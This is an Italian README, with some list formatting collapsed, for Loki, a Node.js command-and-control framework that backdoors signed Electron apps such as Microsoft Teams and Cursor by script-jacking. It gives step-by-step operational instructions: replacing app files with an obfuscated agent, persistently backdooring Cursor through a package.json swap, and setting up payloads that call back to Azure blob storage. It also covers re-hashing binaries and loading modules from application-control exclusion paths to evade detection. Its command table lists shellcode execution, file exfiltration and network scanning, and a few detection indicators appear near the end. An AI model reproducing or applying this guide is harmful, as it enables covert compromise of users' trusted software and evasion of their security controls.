
🧙♂️ Comando e Controllo Node.js per Script-Jacking di Applicazioni Electron Vulnerabili
Loki è un framework di comando e controllo (C2) di stage-1 scritto in Node.js, progettato per eseguire script-jacking su app Electron vulnerabili MITRE ATT&CK T1218.015. Sviluppato per operazioni di red team, Loki consente di eludere i software di sicurezza e bypassare i controlli delle applicazioni sfruttando app Electron fidate e firmate.
Lo script-jacking dirotta il flusso di esecuzione di un'app Electron modificando i file JavaScript caricati in runtime con codice Node.js arbitrario. Questa tecnica può essere utilizzata per:
Sebbene diversi strumenti affrontino già l'uso dello script-jacking per concatenare l'esecuzione a un altro processo, Loki è il primo a consentire il backdooring e lo svuotamento di app Electron firmate senza invalidare la loro firma di code signing.
Per maggiori dettagli su come funziona Loki, dai un'occhiata a questo post del blog:

| Nome | Contributi |
|---|---|
| Bobby Cooke | Creatore e maintainer |
| Dylan Tran | Creatore |
| Ellis Springe | Alpha Tester |
| Shawn Jones | Codice di esecuzione Assembly |
| Trusted Sec | Codice COFFLoader |
| Simon Exley | Creatore di video |
| Clinton Elves | Creatore di video |
| John Hammond | Creatore di video |
Dai un'occhiata a questo video di John Hammond sul backdooring di Cursor AI con Loki C2! 🎩
Dai un'occhiata a questo video di Simon Exley & Clinton Elves su come iniziare a usare Loki C2! 🧙♂️
Tutti i comandi dell'agent sono scritti in Node.JS nativo e non richiedono dipendenze aggiuntive o eventi di caricamento librerie. Fanno eccezione i comandi scexec e assembly che eseguono un caricamento delle librerie keytar.node e assembly.node
/, \ nei percorsi non funzionerà.Set - Caricamento dei nodi dai percorsi di esclusione dell'Application Controlset per cambiare i percorsi di caricamento di assembly.node e scexec.node.ls, cat, cp e mv potresti essere in grado di enumerare le regole di application control per scoprire una directory scrivibile che sia un'esclusione.set per cambiare il loro percorso di caricamento verso la directory di esclusione, bypassando così l'application control.[04-04-2025 8:50AM MST] advsim$ help set
Set the Node load paths for assembly node and scexec nodes
set scexec_path C:/Users/user/AppData/ExcludedApp/scexec.node
set assembly_path C:/Users/user/AppData/ExcludedApp/assembly.node
[04-04-2025 8:51AM MST] advsim$ set scexec_path C:/Users/user/AppData/ExcludedApp/scexec.node
SCEXEC Node Load Path Set to : C:/Users/user/AppData/ExcludedApp/scexec.node
Per maggiori informazioni sulle funzionalità dell'Agent clicca qui
Per maggiori informazioni sulle funzionalità del Client clicca qui
Innanzitutto devi identificare un'applicazione Electron vulnerabile che non esegue controlli di integrità ASAR, come Microsoft Teams. Le applicazioni più recenti possono avere controlli di integrità che impediscono il backdooring. Le versioni precedenti dell'app target hanno maggiori probabilità di essere vulnerabili.
Non è necessario compilare l'agent quando si esegue il backdooring di app Electron. Basta sostituire il contenuto di {ELECTRONAPP}/resources/app/ con i file dell'agent Loki.
cd al suo internojavascript-obfuscatornpm install --save-dev javascript-obfuscator
create_agent_payload.js per creare un payload Loki con le informazioni del tuo account di storagebobby$ node create_agent_payload.js
[+] Provide Azure storage account information:
- Enter Storage Account : 7f7584ty218ba5dba778.blob.core.windows.net
- Enter SAS Token : se=2025-05-28T23%3A14%3A48Z&sp=rwdlac&spr=https&sv=2022-11-02&ss=b&srt=sco&sig=5MXQzJ6FDZK8yYiBSgJ6FDZKgQzJMXBSgg6qE4ydrJ6FDZKSgg%3D
[+] Configuration:
- Storage Account : 7f7584ty218ba5dba778.blob.core.windows.net
- SAS Token : se=2025-05-28T23%3A14%3A48Z&sp=rwdlac&spr=https&sv=2022-11-02&ss=b&srt=sco&sig=5MXQzJ6FDZK8yYiBSgJ6FDZKgQzJMXBSgg6qE4ydrJ6FDZKSgg%3D
- Meta Container : mllyi2zjmafjm
[+] Updated /Users/bobby/apr2/LokiC2/config.js with storage configuration.
- Enter into the Loki Client UI
Loki Client > Configuration
[+] Modifying PE binaries to have new hashes...
- Payload assembly.node hash : e9d126407264821d3c2d324da0e2d1bc13cbc53e7c56340fe12b07f69b707f02
- Payload keytar.node hash : 292c14ffebd6cae3df99d9fbee525e29a5a704f076b82207eb3e650de45b075d
[+] Payload ready!
- Obfuscated payload in the ./app directory
./app/{ELECTRONAPP}/resources/./app/ di Loki in {ELECTRONAPP}/resources/app/Avvia la GUI client di Loki
Dalla barra dei menu fai clic su Loki Client > Configuration per aprire la finestra delle impostazioni
Inserisci i dettagli del tuo account di storage e fai clic su Save

L'agent dovrebbe ora apparire nella dashboard
Fai clic sull'agent nella tabella della dashboard per aprire la finestra dell'agent
Verifica che Loki funzioni correttamente
Il modo più semplice per usare Loki è sostituire i file in {ELECTRONAPP}/resources/app/ con i file di Loki. Questo svuota l'app, il che significa che l'app non funzionerà normalmente -- Loki ha sostituito la sua funzionalità.
Se vuoi davvero mantenere in esecuzione l'applicazione Electron e far sì che distribuisca anche Loki in background, non tutto è perduto! Io e John Hammond abbiamo trovato un modo per mantenere in esecuzione la vera applicazione Electron. Abbiamo aggiunto il file di cui avrai bisogno in /loki/backdoor/init.js in questa repo.
Attualmente è configurato per funzionare con Cursor, scoperta come vulnerabile da John Hammond.
Per fare questo avrai bisogno di:
package.json in cursor/resources/app/
package.json originale/loki/backdoor/init.js in cursor/resources/app/cursor/resources/app/package.json in modo da:
"main":"init.js","type":"module","private":true,Cursor.exe caricherà init.js al clic / all'esecuzioneinit.js legge package.jsoninit.js cambia "main":"init.js", in "main":"main.js",
main.js è Lokiinit.js avvia e disowna un nuovo Cursor.exe che punta a Lokiinit.js legge di nuovo package.jsoninit.js cambia "main":"main.js", in
In questo modo l'app è persistentemente backdoorata e funziona normalmente. Se l'app Cursor viene chiusa, Loki continuerà a girare in background.
In futuro creerò uno script per automatizzare tutto questo.
Queste sono le istruzioni di compilazione per creare agent e client. Le istruzioni coprono più piattaforme, tra cui Windows, Linux e macOS. Si consiglia di compilare il client sulla piattaforma e architettura di destinazione.
Se stai eseguendo il backdooring di un'applicazione Electron, non hai bisogno di compilare gli agent.
Non consiglio di compilare l'agent e usarlo per le operazioni. Le istruzioni di compilazione dell'agent sono per lo sviluppo.
~/Downloads/Teams/Teams.exe*.blob.core.windows.netnetstat.exe o whoami.exepackage.json di Loki verrà creata in ~/AppData/Roaming/{NAME} quando il JavaScript di Loki viene eseguito nel processo Electron.%LOCALAPPDATA%\Microsoft\Teams\current\app creata%LOCALAPPDATA%\Microsoft\Teams\current\app.asar creato/modificato da un installer/updater non-TeamsQuesto progetto è concesso in licenza secondo la Business Source License 1.1. L'uso non commerciale è consentito secondo i termini della licenza. L'uso commerciale richiede il permesso esplicito dell'autore. Il 3 aprile 2030 questa licenza si convertirà in Apache 2.0. Consulta LICENSE per tutti i dettagli.
| Comando | Descrizione |
|---|
help | Mostra l'aiuto. Utilizzo: help o help scan |
pwd | Stampa la directory di lavoro |
ls | Elenco di file e directory |
cat | Mostra il contenuto di un file |
env | Mostra le variabili d'ambiente del processo |
spawn | Avvia un processo figlio |
drives | Elenca le unità |
mv | Sposta un file in una nuova destinazione |
sleep | Sospendi per secondi con jitter |
cp | Copia un file sorgente in una destinazione |
exit-all | Termina l'agent, l'agent non farà più callback |
load | Carica un file PE node dal disco nel processo |
scexec | Esegui shellcode |
assembly | Esegui un assembly .NET e ottieni l'output del comando |
upload | Carica un file dalla tua macchina operatore locale alla macchina agent remota |
download | Scarica un file dalla macchina agent remota alla macchina operatore locale |
scan | Esegue una scansione di rete TCP su un intervallo CIDR con le porte selezionate |
dns | Risoluzione DNS. Sfrutta la configurazione DNS di sistema |
set | Imposta i percorsi di caricamento Node per i nodi assembly e scexec |
bof | Esegue un file COFF e restituisce l'output |
"main":"./out/main.js",./out/main.js è la vera applicazione Cursorinit.js avvia e disowna un nuovo Cursor.exe che punta al vero Cursorinit.js intercetta l'uscitainit.js legge package.json per la terza voltainit.js cambia "main":"./out/main.js", in "main":"init.js",